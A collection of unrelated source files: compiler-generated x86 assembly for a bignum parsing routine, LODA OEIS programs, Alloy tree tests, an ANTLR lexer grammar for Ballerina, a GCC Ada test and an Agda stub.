; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, DWORD PTR _value$[ebp]
mov ecx, OFFSET _statistics_info+4
lock xadd DWORD PTR [ecx], eax
; 353 : }
pop ebp
ret 0
_AddToMULTI32Counter ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; COMDAT _IncrementMULTI64Counter
_TEXT SEGMENT
_IncrementMULTI64Counter PROC ; COMDAT
; 335 : _InterlockedIncrement(&statistics_info.COUNT_MULTI64);
lock inc (null) PTR _statistics_info
; 336 : }
ret 0
_IncrementMULTI64Counter ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; COMDAT _IncrementMULTI32Counter
_TEXT SEGMENT
_IncrementMULTI32Counter PROC ; COMDAT
; 329 : _InterlockedIncrement(&statistics_info.COUNT_MULTI32);
lock inc (null) PTR _statistics_info+4
; 330 : }
ret 0
_IncrementMULTI32Counter ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _PMC_TryParse@16
_TEXT SEGMENT
_no$ = 8 ; size = 4
_source$ = 8 ; size = 4
_number_styles$ = 12 ; size = 4
_format_option$ = 16 ; size = 4
_o$ = 20 ; size = 4
_PMC_TryParse@16 PROC ; COMDAT
; 1000 : {
push ebp
mov ebp, esp
; 1001 : PMC_STATUS_CODE result;
; 1002 : if (source == NULL)
mov ecx, DWORD PTR _source$[ebp]
push esi
push edi
test ecx, ecx
je SHORT $LN11@PMC_TryPar
; 1003 : return (PMC_STATUS_ARGUMENT_ERROR);
; 1004 : if (o == NULL)
mov esi, DWORD PTR _o$[ebp]
test esi, esi
je SHORT $LN11@PMC_TryPar
; 1005 : return (PMC_STATUS_ARGUMENT_ERROR);
; 1006 : if (format_option == NULL)
; 1007 : format_option = &default_number_format_option;
; 1008 : NUMBER_HEADER* no;
; 1009 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER)
mov eax, DWORD PTR _format_option$[ebp]
mov edx, OFFSET _default_number_format_option
test eax, eax
cmovne edx, eax
mov eax, DWORD PTR _number_styles$[ebp]
test eax, 512 ; 00000200H
je SHORT $LN5@PMC_TryPar
; 1010 : {
; 1011 : // 許可されている組み合わせのフラグ
; 1012 : _UINT32_T mask = PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER | PMC_NUMBER_STYLE_ALLOW_LEADING_WHITE | PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE;
; 1013 :
; 1014 : // 許可されていないフラグが指定されていればエラー
; 1015 : if (number_styles & ~mask)
test eax, -516 ; fffffdfcH
jne SHORT $LN11@PMC_TryPar
; 1017 :
; 1018 : if ((result = TryParseX(source, number_styles, format_option, &no)) != PMC_STATUS_OK)
lea edi, DWORD PTR _no$[ebp]
push edi
push edx
push eax
push ecx
call _TryParseX
add esp, 16 ; 00000010H
test eax, eax
je SHORT $LN9@PMC_TryPar
; 1032 : }
pop edi
pop esi
pop ebp
ret 16 ; 00000010H
$LN5@PMC_TryPar:
; 1019 : return (result);
; 1020 : }
; 1021 : else
; 1022 : {
; 1023 : if ((result = TryParseDN(source, number_styles, format_option, &no)) != PMC_STATUS_OK)
lea edi, DWORD PTR _no$[ebp]
push edi
push edx
push eax
push ecx
call _TryParseDN
add esp, 16 ; 00000010H
test eax, eax
jne SHORT $LN1@PMC_TryPar
$LN9@PMC_TryPar:
; 1024 : return (result);
; 1025 : }
; 1026 : *o = no;
mov eax, DWORD PTR _no$[ebp]
mov DWORD PTR [esi], eax
; 1027 : #ifdef _DEBUG
; 1028 : if ((result = CheckNumber(*o)) != PMC_STATUS_OK)
; 1029 : return (result);
; 1030 : #endif
; 1031 : return (PMC_STATUS_OK);
xor eax, eax
pop edi
; 1032 : }
pop esi
pop ebp
ret 16 ; 00000010H
$LN11@PMC_TryPar:
; 1016 : return (PMC_STATUS_ARGUMENT_ERROR);
or eax, -1
$LN1@PMC_TryPar:
pop edi
; 1032 : }
pop esi
pop ebp
ret 16 ; 00000010H
_PMC_TryParse@16 ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _Initialize_Parse
_TEXT SEGMENT
_feature$ = 8 ; size = 4
_Initialize_Parse PROC ; COMDAT
; 1035 : {
push ebp
mov ebp, esp
push esi
; 1036 : default_number_format_option.DecimalDigits = 2;
; 1037 : lstrcpyW(default_number_format_option.GroupSeparator, L",");
mov esi, DWORD PTR __imp__lstrcpyW@8
push OFFSET ??_C@_13DEFPDAGF@?$AA?0@
push OFFSET _default_number_format_option+4
mov DWORD PTR _default_number_format_option, 2
call esi
; 1038 : lstrcpyW(default_number_format_option.DecimalSeparator, L".");
push OFFSET ??_C@_13JOFGPIOO@?$AA?4@
push OFFSET _default_number_format_option+10
call esi
; 1039 : lstrcpy(default_number_format_option.GroupSizes, "3");
push OFFSET ??_C@_01EKENIIDA@3@
push OFFSET _default_number_format_option+28
call DWORD PTR __imp__lstrcpyA@8
; 1040 : lstrcpyW(default_number_format_option.PositiveSign, L"+");
push OFFSET ??_C@_13KJIIAINM@?$AA?$CL@
push OFFSET _default_number_format_option+16
call esi
; 1041 : lstrcpyW(default_number_format_option.NegativeSign, L"-");
push OFFSET ??_C@_13IMODFHAA@?$AA?9@
push OFFSET _default_number_format_option+22
call esi
mov eax, DWORD PTR _feature$[ebp]
; 1042 :
; 1043 : if (feature->PROCESSOR_FEATURE_ADX && feature->PROCESSOR_FEATURE_BMI2)
; 1044 : fp_MultiplyAndAdd = MultiplyAndAdd_using_ADCX_MULX;
; 1045 : else
; 1046 : fp_MultiplyAndAdd = MultiplyAndAdd_using_ADC_MUL;
; 1047 :
; 1048 : return (PMC_STATUS_OK);
mov ecx, OFFSET _MultiplyAndAdd_using_ADCX_MULX
mov edx, OFFSET _MultiplyAndAdd_using_ADC_MUL
pop esi
mov eax, DWORD PTR [eax]
and eax, 10 ; 0000000aH
cmp al, 10 ; 0000000aH
cmovne ecx, edx
xor eax, eax
mov DWORD PTR _fp_MultiplyAndAdd, ecx
; 1049 : }
pop ebp
ret 0
_Initialize_Parse ENDP
_TEXT ENDS
END
|
programs/oeis/262/A262588.asm | neoneye/loda | 22 | 19317 | <filename>programs/oeis/262/A262588.asm<gh_stars>10-100
; A262588: Duplicate of A193140.
; 0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,1,0,0,1
add $0,1
seq $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
dif $0,2
sub $0,1
mod $0,2
|
experiments/test-suite/mutation-based/20/5/fullTree.als | kaiyuanw/AlloyFLCore | 1 | 822 | pred test29 {
some disj Node0: Node {
Node = Node0
no left
no right
makeFull[]
}
}
run test29 for 3 expect 1
pred test3 {
no Node
no left
no right
}
run test3 for 3 expect 1
pred test39 {
some disj Node0, Node1: Node {
Node = Node0 + Node1
left = Node1->Node1
right = Node1->Node0 + Node1->Node1
}
}
run test39 for 3 expect 0
pred test7 {
some disj Node0, Node1: Node {
Node = Node0 + Node1
left = Node1->Node1
no right
}
}
run test7 for 3 expect 1
pred test14 {
some disj Node0: Node {
Node = Node0
no left
no right
Acyclic[]
}
}
run test14 for 3 expect 1
pred test44 {
some disj Node0, Node1: Node {
Node = Node0 + Node1
left = Node1->Node1
right = Node0->Node1 + Node1->Node0
}
}
run test44 for 3 expect 1
pred test1 {
some disj Node0, Node1: Node {
Node = Node0 + Node1
left = Node0->Node1 + Node1->Node1
right = Node0->Node1 + Node1->Node1
}
}
run test1 for 3 expect 1
pred test16 {
some disj Node0: Node {
Node = Node0
no left
right = Node0->Node0
Acyclic[]
}
}
run test16 for 3 expect 0
|
src/main/java/org/ballerinalang/plugins/idea/grammar/BallerinaLexer.g4 | Shan1024/ballerina-idea-plugin | 0 | 7892 | /*
* NOTE - Do not modify.
*/
lexer grammar BallerinaLexer;
@members {
boolean inTemplate = false;
boolean inDocTemplate = false;
boolean inDeprecatedTemplate = false;
boolean inSiddhi = false;
boolean inTableSqlQuery = false;
boolean inSiddhiInsertQuery = false;
boolean inSiddhiTimeScaleQuery = false;
boolean inSiddhiOutputRateLimit = false;
}
// Reserved words
IMPORT : 'import' ;
AS : 'as' ;
PUBLIC : 'public' ;
PRIVATE : 'private' ;
NATIVE : 'native' ;
SERVICE : 'service' ;
RESOURCE : 'resource' ;
FUNCTION : 'function' ;
OBJECT : 'object' ;
ANNOTATION : 'annotation' ;
PARAMETER : 'parameter' ;
TRANSFORMER : 'transformer' ;
WORKER : 'worker' ;
ENDPOINT : 'endpoint' ;
BIND : 'bind' ;
XMLNS : 'xmlns' ;
RETURNS : 'returns';
VERSION : 'version';
DOCUMENTATION : 'documentation';
DEPRECATED : 'deprecated';
FROM : 'from' { inSiddhi = true; inTableSqlQuery = true; inSiddhiInsertQuery = true; inSiddhiOutputRateLimit = true; } ;
ON : 'on' ;
SELECT : {inTableSqlQuery}? 'select' { inTableSqlQuery = false; } ;
GROUP : 'group' ;
BY : 'by' ;
HAVING : 'having' ;
ORDER : 'order' ;
WHERE : 'where' ;
FOLLOWED : 'followed' ;
INSERT : {inSiddhi}? 'insert' { inSiddhi = false; } ;
INTO : 'into' ;
UPDATE : {inSiddhi}? 'update' { inSiddhi = false; } ;
DELETE : {inSiddhi}? 'delete' { inSiddhi = false; } ;
SET : 'set' ;
FOR : 'for' ;
WINDOW : 'window' ;
QUERY : 'query' ;
EXPIRED : 'expired' ;
CURRENT : 'current' ;
EVENTS : {inSiddhiInsertQuery}? 'events' { inSiddhiInsertQuery = false; } ;
EVERY : 'every' ;
WITHIN : 'within' ;
LAST : {inSiddhiOutputRateLimit}? 'last' { inSiddhiOutputRateLimit = false; } ;
FIRST : {inSiddhiOutputRateLimit}? 'first' { inSiddhiOutputRateLimit = false; } ;
SNAPSHOT : 'snapshot' ;
OUTPUT : {inSiddhiOutputRateLimit}? 'output' { inSiddhiTimeScaleQuery = true; } ;
INNER : 'inner' ;
OUTER : 'outer' ;
RIGHT : 'right' ;
LEFT : 'left' ;
FULL : 'full' ;
UNIDIRECTIONAL : 'unidirectional' ;
REDUCE : 'reduce' ;
SECOND : {inSiddhiTimeScaleQuery}? 'second' { inSiddhiTimeScaleQuery = false; } ;
MINUTE : {inSiddhiTimeScaleQuery}? 'minute' { inSiddhiTimeScaleQuery = false; } ;
HOUR : {inSiddhiTimeScaleQuery}? 'hour' { inSiddhiTimeScaleQuery = false; } ;
DAY : {inSiddhiTimeScaleQuery}? 'day' { inSiddhiTimeScaleQuery = false; } ;
MONTH : {inSiddhiTimeScaleQuery}? 'month' { inSiddhiTimeScaleQuery = false; } ;
YEAR : {inSiddhiTimeScaleQuery}? 'year' { inSiddhiTimeScaleQuery = false; } ;
SECONDS : {inSiddhiTimeScaleQuery}? 'seconds' { inSiddhiTimeScaleQuery = false; } ;
MINUTES : {inSiddhiTimeScaleQuery}? 'minutes' { inSiddhiTimeScaleQuery = false; } ;
HOURS : {inSiddhiTimeScaleQuery}? 'hours' { inSiddhiTimeScaleQuery = false; } ;
DAYS : {inSiddhiTimeScaleQuery}? 'days' { inSiddhiTimeScaleQuery = false; } ;
MONTHS : {inSiddhiTimeScaleQuery}? 'months' { inSiddhiTimeScaleQuery = false; } ;
YEARS : {inSiddhiTimeScaleQuery}? 'years' { inSiddhiTimeScaleQuery = false; } ;
FOREVER : 'forever' ;
LIMIT : 'limit' ;
ASCENDING : 'ascending' ;
DESCENDING : 'descending' ;
TYPE_INT : 'int' ;
TYPE_FLOAT : 'float' ;
TYPE_BOOL : 'boolean' ;
TYPE_STRING : 'string' ;
TYPE_BLOB : 'blob' ;
TYPE_MAP : 'map' ;
TYPE_JSON : 'json' ;
TYPE_XML : 'xml' ;
TYPE_TABLE : 'table' ;
TYPE_STREAM : 'stream' ;
TYPE_ANY : 'any' ;
TYPE_DESC : 'typedesc' ;
TYPE : 'type' ;
TYPE_FUTURE : 'future' ;
VAR : 'var' ;
NEW : 'new' ;
IF : 'if' ;
MATCH : 'match' ;
ELSE : 'else' ;
FOREACH : 'foreach' ;
WHILE : 'while' ;
NEXT : 'next' ;
BREAK : 'break' ;
FORK : 'fork' ;
JOIN : 'join' ;
SOME : 'some' ;
ALL : 'all' ;
TIMEOUT : 'timeout' ;
TRY : 'try' ;
CATCH : 'catch' ;
FINALLY : 'finally' ;
THROW : 'throw' ;
RETURN : 'return' ;
TRANSACTION : 'transaction' ;
ABORT : 'abort' ;
RETRY : 'retry' ;
ONRETRY : 'onretry' ;
RETRIES : 'retries' ;
ONABORT : 'onabort' ;
ONCOMMIT : 'oncommit' ;
LENGTHOF : 'lengthof' ;
WITH : 'with' ;
IN : 'in' ;
LOCK : 'lock' ;
UNTAINT : 'untaint' ;
START : 'start' ;
AWAIT : 'await' ;
BUT : 'but' ;
CHECK : 'check' ;
DONE : 'done' ;
// Separators
SEMICOLON : ';' ;
COLON : ':' ;
DOUBLE_COLON : '::' ;
DOT : '.' ;
COMMA : ',' ;
LEFT_BRACE : '{' ;
RIGHT_BRACE : '}' ;
LEFT_PARENTHESIS : '(' ;
RIGHT_PARENTHESIS : ')' ;
LEFT_BRACKET : '[' ;
RIGHT_BRACKET : ']' ;
QUESTION_MARK : '?' ;
// Arithmetic operators
ASSIGN : '=' ;
ADD : '+' ;
SUB : '-' ;
MUL : '*' ;
DIV : '/' ;
POW : '^' ;
MOD : '%';
// Relational operators
NOT : '!' ;
EQUAL : '==' ;
NOT_EQUAL : '!=' ;
GT : '>' ;
LT : '<' ;
GT_EQUAL : '>=' ;
LT_EQUAL : '<=' ;
AND : '&&' ;
OR : '||' ;
// Additional symbols
RARROW : '->' ;
LARROW : '<-' ;
AT : '@' ;
BACKTICK : '`' ;
RANGE : '..' ;
ELLIPSIS : '...' ;
PIPE : '|' ;
EQUAL_GT : '=>' ;
ELVIS : '?:' ;
// Compound Assignment operators.
COMPOUND_ADD : '+=' ;
COMPOUND_SUB : '-=' ;
COMPOUND_MUL : '*=' ;
COMPOUND_DIV : '/=' ;
// Post Arithmetic operators.
INCREMENT : '++' ;
DECREMENT : '--' ;
DecimalIntegerLiteral
: DecimalNumeral IntegerTypeSuffix?
;
HexIntegerLiteral
: HexNumeral IntegerTypeSuffix?
;
OctalIntegerLiteral
: OctalNumeral IntegerTypeSuffix?
;
BinaryIntegerLiteral
: BinaryNumeral IntegerTypeSuffix?
;
fragment
IntegerTypeSuffix
: [lL]
;
fragment
DecimalNumeral
: '0'
| NonZeroDigit (Digits? | Underscores Digits)
;
fragment
Digits
: Digit (DigitOrUnderscore* Digit)?
;
fragment
Digit
: '0'
| NonZeroDigit
;
fragment
NonZeroDigit
: [1-9]
;
fragment
DigitOrUnderscore
: Digit
| '_'
;
fragment
Underscores
: '_'+
;
fragment
HexNumeral
: '0' [xX] HexDigits
;
fragment
HexDigits
: HexDigit (HexDigitOrUnderscore* HexDigit)?
;
fragment
HexDigit
: [0-9a-fA-F]
;
fragment
HexDigitOrUnderscore
: HexDigit
| '_'
;
fragment
OctalNumeral
: '0' Underscores? OctalDigits
;
fragment
OctalDigits
: OctalDigit (OctalDigitOrUnderscore* OctalDigit)?
;
fragment
OctalDigit
: [0-7]
;
fragment
OctalDigitOrUnderscore
: OctalDigit
| '_'
;
fragment
BinaryNumeral
: '0' [bB] BinaryDigits
;
fragment
BinaryDigits
: BinaryDigit (BinaryDigitOrUnderscore* BinaryDigit)?
;
fragment
BinaryDigit
: [01]
;
fragment
BinaryDigitOrUnderscore
: BinaryDigit
| '_'
;
// §3.10.2 Floating-Point Literals
FloatingPointLiteral
: DecimalFloatingPointLiteral
| HexadecimalFloatingPointLiteral
;
fragment
DecimalFloatingPointLiteral
: Digits '.' (Digits ExponentPart? FloatTypeSuffix? | Digits? ExponentPart FloatTypeSuffix? | Digits? ExponentPart? FloatTypeSuffix)
| '.' Digits ExponentPart? FloatTypeSuffix?
| Digits ExponentPart FloatTypeSuffix?
| Digits FloatTypeSuffix
;
fragment
ExponentPart
: ExponentIndicator SignedInteger
;
fragment
ExponentIndicator
: [eE]
;
fragment
SignedInteger
: Sign? Digits
;
fragment
Sign
: [+-]
;
fragment
FloatTypeSuffix
: [fFdD]
;
fragment
HexadecimalFloatingPointLiteral
: HexSignificand BinaryExponent FloatTypeSuffix?
;
fragment
HexSignificand
: HexNumeral '.'?
| '0' [xX] HexDigits? '.' HexDigits
;
fragment
BinaryExponent
: BinaryExponentIndicator SignedInteger
;
fragment
BinaryExponentIndicator
: [pP]
;
// §3.10.3 Boolean Literals
BooleanLiteral
: 'true'
| 'false'
;
// §3.10.5 String Literals
QuotedStringLiteral
: '"' StringCharacters? '"'
;
fragment
StringCharacters
: StringCharacter+
;
fragment
StringCharacter
: ~["\\]
| EscapeSequence
;
// §3.10.6 Escape Sequences for Character and String Literals
fragment
EscapeSequence
: '\\' [btnfr"'\\]
| OctalEscape
| UnicodeEscape
;
fragment
OctalEscape
: '\\' OctalDigit
| '\\' OctalDigit OctalDigit
| '\\' ZeroToThree OctalDigit OctalDigit
;
fragment
UnicodeEscape
: '\\' 'u' HexDigit HexDigit HexDigit HexDigit
;
fragment
ZeroToThree
: [0-3]
;
// §3.10.7 The Null Literal
NullLiteral
: 'null'
;
Identifier
: ( Letter LetterOrDigit* )
| IdentifierLiteral
;
fragment
Letter
: [a-zA-Z_] // these are the "letters" below 0x7F
| // covers all characters above 0x7F which are not a surrogate
~[\u0000-\u007F\uD800-\uDBFF]
| // covers UTF-16 surrogate pairs encodings for U+10000 to U+10FFFF
[\uD800-\uDBFF] [\uDC00-\uDFFF]
;
fragment
LetterOrDigit
: [a-zA-Z0-9_] // these are the "letters or digits" below 0x7F
| // covers all characters above 0x7F which are not a surrogate
~[\u0000-\u007F\uD800-\uDBFF]
| // covers UTF-16 surrogate pairs encodings for U+10000 to U+10FFFF
[\uD800-\uDBFF] [\uDC00-\uDFFF]
;
XMLLiteralStart
: TYPE_XML WS* BACKTICK { inTemplate = true; } -> pushMode(XML)
;
StringTemplateLiteralStart
: TYPE_STRING WS* BACKTICK { inTemplate = true; } -> pushMode(STRING_TEMPLATE)
;
DocumentationTemplateStart
: DOCUMENTATION WS* LEFT_BRACE { inDocTemplate = true; } -> pushMode(DOCUMENTATION_TEMPLATE)
;
DeprecatedTemplateStart
: DEPRECATED WS* LEFT_BRACE { inDeprecatedTemplate = true; } -> pushMode(DEPRECATED_TEMPLATE)
;
ExpressionEnd
: {inTemplate}? RIGHT_BRACE WS* RIGHT_BRACE -> popMode
;
DocumentationTemplateAttributeEnd
: {inDocTemplate}? RIGHT_BRACE WS* RIGHT_BRACE -> popMode
;
// Whitespace and comments
WS : [ \t]+ -> channel(HIDDEN)
;
NEW_LINE : [\r\n\u000C]+ -> channel(HIDDEN)
;
LINE_COMMENT
: '//' ~[\r\n]* -> channel(HIDDEN)
;
fragment
IdentifierLiteral
: '^"' IdentifierLiteralChar+ '"' ;
fragment
IdentifierLiteralChar
: ~[|"\\\b\f\n\r\t]
| IdentifierLiteralEscapeSequence
;
fragment
IdentifierLiteralEscapeSequence
: '\\' [|"\\/]
| '\\\\' [btnfr]
| UnicodeEscape
;
// XML lexer rules
// Everything in an XML Literal (inside backtick)
mode XML;
XML_COMMENT_START
: '<!--' -> pushMode(XML_COMMENT)
;
CDATA
: '<![CDATA[' .*? ']]>'
;
DTD
: '<!' (~[-].|.~[-]).*? '>' -> skip
;
EntityRef
: '&' XMLQName ';'
;
CharRef
: '&#' Digit+ ';'
| '&#x' HexDigits+ ';'
;
fragment
XML_WS
: ' '|'\t'|'\r'? '\n'
;
XML_TAG_OPEN : LT -> pushMode(XML_TAG) ;
XML_TAG_OPEN_SLASH : '</' -> pushMode(XML_TAG) ;
XML_TAG_SPECIAL_OPEN
: '<?' (XMLQName QNAME_SEPARATOR)? XMLQName XML_WS -> pushMode(XML_PI)
;
XMLLiteralEnd
: '`' { inTemplate = false; } -> popMode
;
fragment
ExpressionStart
: '{{'
;
XMLTemplateText
: XMLText? ExpressionStart -> pushMode(DEFAULT_MODE)
;
XMLText
: XMLBracesSequence? (XMLTextChar XMLBracesSequence?)+
| XMLBracesSequence (XMLTextChar XMLBracesSequence?)*
;
fragment
XMLTextChar
: ~[<&`{}]
| '\\' [`]
| XML_WS
| XMLEscapedSequence
;
fragment
XMLEscapedSequence
: '\\\\'
| '\\{{'
| '\\}}'
;
fragment
XMLBracesSequence
: '{}'+
| '}{'
| ('{}')* '{'
| '}' ('{}')*
;
// Everything inside an XML tag
mode XML_TAG;
XML_TAG_CLOSE : GT -> popMode ;
XML_TAG_SPECIAL_CLOSE : '?>' -> popMode ; // close <?xml...?>
XML_TAG_SLASH_CLOSE : '/>' -> popMode ;
SLASH : DIV ;
QNAME_SEPARATOR : COLON ;
EQUALS : ASSIGN ;
DOUBLE_QUOTE : '"' -> pushMode(DOUBLE_QUOTED_XML_STRING);
SINGLE_QUOTE : '\'' -> pushMode(SINGLE_QUOTED_XML_STRING);
XMLQName
: NameStartChar NameChar*
;
XML_TAG_WS
: [ \t\r\n] -> skip
;
XMLTagExpressionStart
: ExpressionStart -> pushMode(DEFAULT_MODE)
;
fragment
HEXDIGIT
: [a-fA-F0-9]
;
fragment
DIGIT
: [0-9]
;
fragment
NameChar
: NameStartChar
| '-' | '_' | '.' | DIGIT
| '\u00B7'
| '\u0300'..'\u036F'
| '\u203F'..'\u2040'
;
fragment
NameStartChar
: [a-zA-Z]
| '\u2070'..'\u218F'
| '\u2C00'..'\u2FEF'
| '\u3001'..'\uD7FF'
| '\uF900'..'\uFDCF'
| '\uFDF0'..'\uFFFD'
;
// Everything inside a double-quoted xml string (e.g: attribute values)
mode DOUBLE_QUOTED_XML_STRING;
DOUBLE_QUOTE_END
: DOUBLE_QUOTE -> popMode
;
XMLDoubleQuotedTemplateString
: XMLDoubleQuotedString? ExpressionStart -> pushMode(DEFAULT_MODE)
;
XMLDoubleQuotedString
: XMLBracesSequence? (XMLDoubleQuotedStringChar XMLBracesSequence?)+
| XMLBracesSequence (XMLDoubleQuotedStringChar XMLBracesSequence?)*
;
fragment
XMLDoubleQuotedStringChar
: ~[<"{}\\]
| XMLEscapedSequence
;
// Everything inside a single-quoted xml string (e.g: attribute values)
mode SINGLE_QUOTED_XML_STRING;
SINGLE_QUOTE_END
: SINGLE_QUOTE -> popMode
;
XMLSingleQuotedTemplateString
: XMLSingleQuotedString? ExpressionStart -> pushMode(DEFAULT_MODE)
;
XMLSingleQuotedString
: XMLBracesSequence? (XMLSingleQuotedStringChar XMLBracesSequence?)+
| XMLBracesSequence (XMLSingleQuotedStringChar XMLBracesSequence?)*
;
fragment
XMLSingleQuotedStringChar
: ~[<'{}\\]
| XMLEscapedSequence
;
mode XML_PI;
fragment
XML_PI_END
: XML_TAG_SPECIAL_CLOSE
;
XMLPIText
: XMLPITextFragment XML_PI_END -> popMode
;
XMLPITemplateText
: XMLPITextFragment ExpressionStart -> pushMode(DEFAULT_MODE)
;
fragment
XMLPITextFragment
: XMLPIAllowedSequence? (XMLPIChar XMLPIAllowedSequence?)*
;
fragment
XMLPIChar
: ~[{}?>]
| XMLEscapedSequence
;
fragment
XMLPIAllowedSequence
: XMLBracesSequence
| XMLPISpecialSequence
| (XMLBracesSequence XMLPISpecialSequence)+ XMLBracesSequence?
| (XMLPISpecialSequence XMLBracesSequence)+ XMLPISpecialSequence?
;
fragment
XMLPISpecialSequence
: '>'+
| '>'* '?'+
;
// Everything inside an XML comment
mode XML_COMMENT;
fragment
XML_COMMENT_END
: '-->'
;
XMLCommentText
: XMLCommentTextFragment XML_COMMENT_END -> popMode
;
XMLCommentTemplateText
: XMLCommentTextFragment ExpressionStart -> pushMode(DEFAULT_MODE)
;
fragment
XMLCommentTextFragment
: XMLCommentAllowedSequence? (XMLCommentChar XMLCommentAllowedSequence?)*
;
fragment
XMLCommentChar
: ~[{}>\-]
| XMLEscapedSequence
;
fragment
XMLCommentAllowedSequence
: XMLBracesSequence
| XMLCommentSpecialSequence
| (XMLBracesSequence XMLCommentSpecialSequence)+ XMLBracesSequence?
| (XMLCommentSpecialSequence XMLBracesSequence)+ XMLCommentSpecialSequence?
;
fragment
XMLCommentSpecialSequence
: '>'+
| ('>'* '-' '>'+)+
| '-'? '>'* '-'+
;
mode DOCUMENTATION_TEMPLATE;
DocumentationTemplateEnd
: RIGHT_BRACE { inDocTemplate = false; } -> popMode
;
DocumentationTemplateAttributeStart
: AttributePrefix ExpressionStart -> pushMode(DEFAULT_MODE)
;
SBDocInlineCodeStart
: AttributePrefix? DocBackTick -> pushMode(SINGLE_BACKTICK_INLINE_CODE)
;
DBDocInlineCodeStart
: AttributePrefix? DocBackTick DocBackTick -> pushMode(DOUBLE_BACKTICK_INLINE_CODE)
;
TBDocInlineCodeStart
: AttributePrefix? DocBackTick DocBackTick DocBackTick -> pushMode(TRIPLE_BACKTICK_INLINE_CODE)
;
DocumentationTemplateText
: DocumentationValidCharSequence? (DocumentationTemplateStringChar DocumentationValidCharSequence?)+
| DocumentationValidCharSequence (DocumentationTemplateStringChar DocumentationValidCharSequence?)*
;
fragment
DocumentationTemplateStringChar
: ~[`{}\\FPTRVE]
| '\\' [{}`]
| WS
| DocumentationEscapedSequence
;
fragment
AttributePrefix
: [FPTRVE]
;
fragment
DocBackTick
: '`'
;
fragment
DocumentationEscapedSequence
: '\\\\'
;
fragment
DocumentationValidCharSequence
: [FPTRVE] ~[`{}\\]
| [FPTRVE] '\\' [{}`]
| [FPTRVE] '\\' ~[{}`]
| '\\' ~'\\'
;
mode TRIPLE_BACKTICK_INLINE_CODE;
TripleBackTickInlineCodeEnd
: BACKTICK BACKTICK BACKTICK -> popMode
;
TripleBackTickInlineCode
: TripleBackTickInlineCodeChar+
;
fragment
TripleBackTickInlineCodeChar
: ~[`]
| [`] ~[`]
| [`] [`] ~[`]
;
mode DOUBLE_BACKTICK_INLINE_CODE;
DoubleBackTickInlineCodeEnd
: BACKTICK BACKTICK -> popMode
;
DoubleBackTickInlineCode
: DoubleBackTickInlineCodeChar+
;
fragment
DoubleBackTickInlineCodeChar
: ~[`]
| [`] ~[`]
;
mode SINGLE_BACKTICK_INLINE_CODE;
SingleBackTickInlineCodeEnd
: BACKTICK -> popMode
;
SingleBackTickInlineCode
: SingleBackTickInlineCodeChar+
;
fragment
SingleBackTickInlineCodeChar
: ~[`]
;
mode DEPRECATED_TEMPLATE;
DeprecatedTemplateEnd
: RIGHT_BRACE { inDeprecatedTemplate = false; } -> popMode
;
SBDeprecatedInlineCodeStart
: DeprecatedBackTick -> pushMode(SINGLE_BACKTICK_INLINE_CODE)
;
DBDeprecatedInlineCodeStart
: DeprecatedBackTick DeprecatedBackTick -> pushMode(DOUBLE_BACKTICK_INLINE_CODE)
;
TBDeprecatedInlineCodeStart
: DeprecatedBackTick DeprecatedBackTick DeprecatedBackTick -> pushMode(TRIPLE_BACKTICK_INLINE_CODE)
;
DeprecatedTemplateText
: DeprecatedValidCharSequence? (DeprecatedTemplateStringChar DeprecatedValidCharSequence?)+
| DeprecatedValidCharSequence (DeprecatedTemplateStringChar DeprecatedValidCharSequence?)*
;
fragment
DeprecatedTemplateStringChar
: ~[`{}\\]
| '\\' [{}`]
| WS
| DeprecatedEscapedSequence
;
fragment
DeprecatedBackTick
: '`'
;
fragment
DeprecatedEscapedSequence
: '\\\\'
;
fragment
DeprecatedValidCharSequence
: '\\' ~'\\'
;
mode STRING_TEMPLATE;
StringTemplateLiteralEnd
: '`' { inTemplate = false; } -> popMode
;
StringTemplateExpressionStart
: StringTemplateText? ExpressionStart -> pushMode(DEFAULT_MODE)
;
// We cannot use "StringTemplateBracesSequence? (StringTemplateStringChar StringTemplateBracesSequence?)*" because it
// can match an empty string.
StringTemplateText
: StringTemplateValidCharSequence? (StringTemplateStringChar StringTemplateValidCharSequence?)+
| StringTemplateValidCharSequence (StringTemplateStringChar StringTemplateValidCharSequence?)*
;
fragment
StringTemplateStringChar
: ~[`{\\]
| '\\' [`{]
| WS
| StringLiteralEscapedSequence
;
fragment
StringLiteralEscapedSequence
: '\\\\'
| '\\{{'
;
fragment
StringTemplateValidCharSequence
: '{'
| '\\' ~'\\'
;
|
oeis/010/A010688.asm | neoneye/loda-programs | 11 | 166815 | <gh_stars>10-100
; A010688: Period 2: repeat (1,7).
; Submitted by <NAME>
; 1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1
mod $0,2
mul $0,6
add $0,1
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/sizetype3.adb | best08618/asylo | 7 | 8343 | -- { dg-do compile }
-- { dg-options "-O" }
with Sizetype3_Pkg; use Sizetype3_Pkg;
package body Sizetype3 is
procedure Handle_Enum_Values is
Values : constant List := F;
L : Values_Array_Access;
begin
L := new Values_Array (1 .. Values'Length);
end Handle_Enum_Values;
procedure Simplify_Type_Of is
begin
Handle_Enum_Values;
end Simplify_Type_Of;
end Sizetype3;
|
examples/outdated-and-incorrect/fileIO/Base.agda | asr/agda-kanso | 1 | 15894 | <filename>examples/outdated-and-incorrect/fileIO/Base.agda
module Base where
postulate String : Set
Char : Set
{-# BUILTIN STRING String #-}
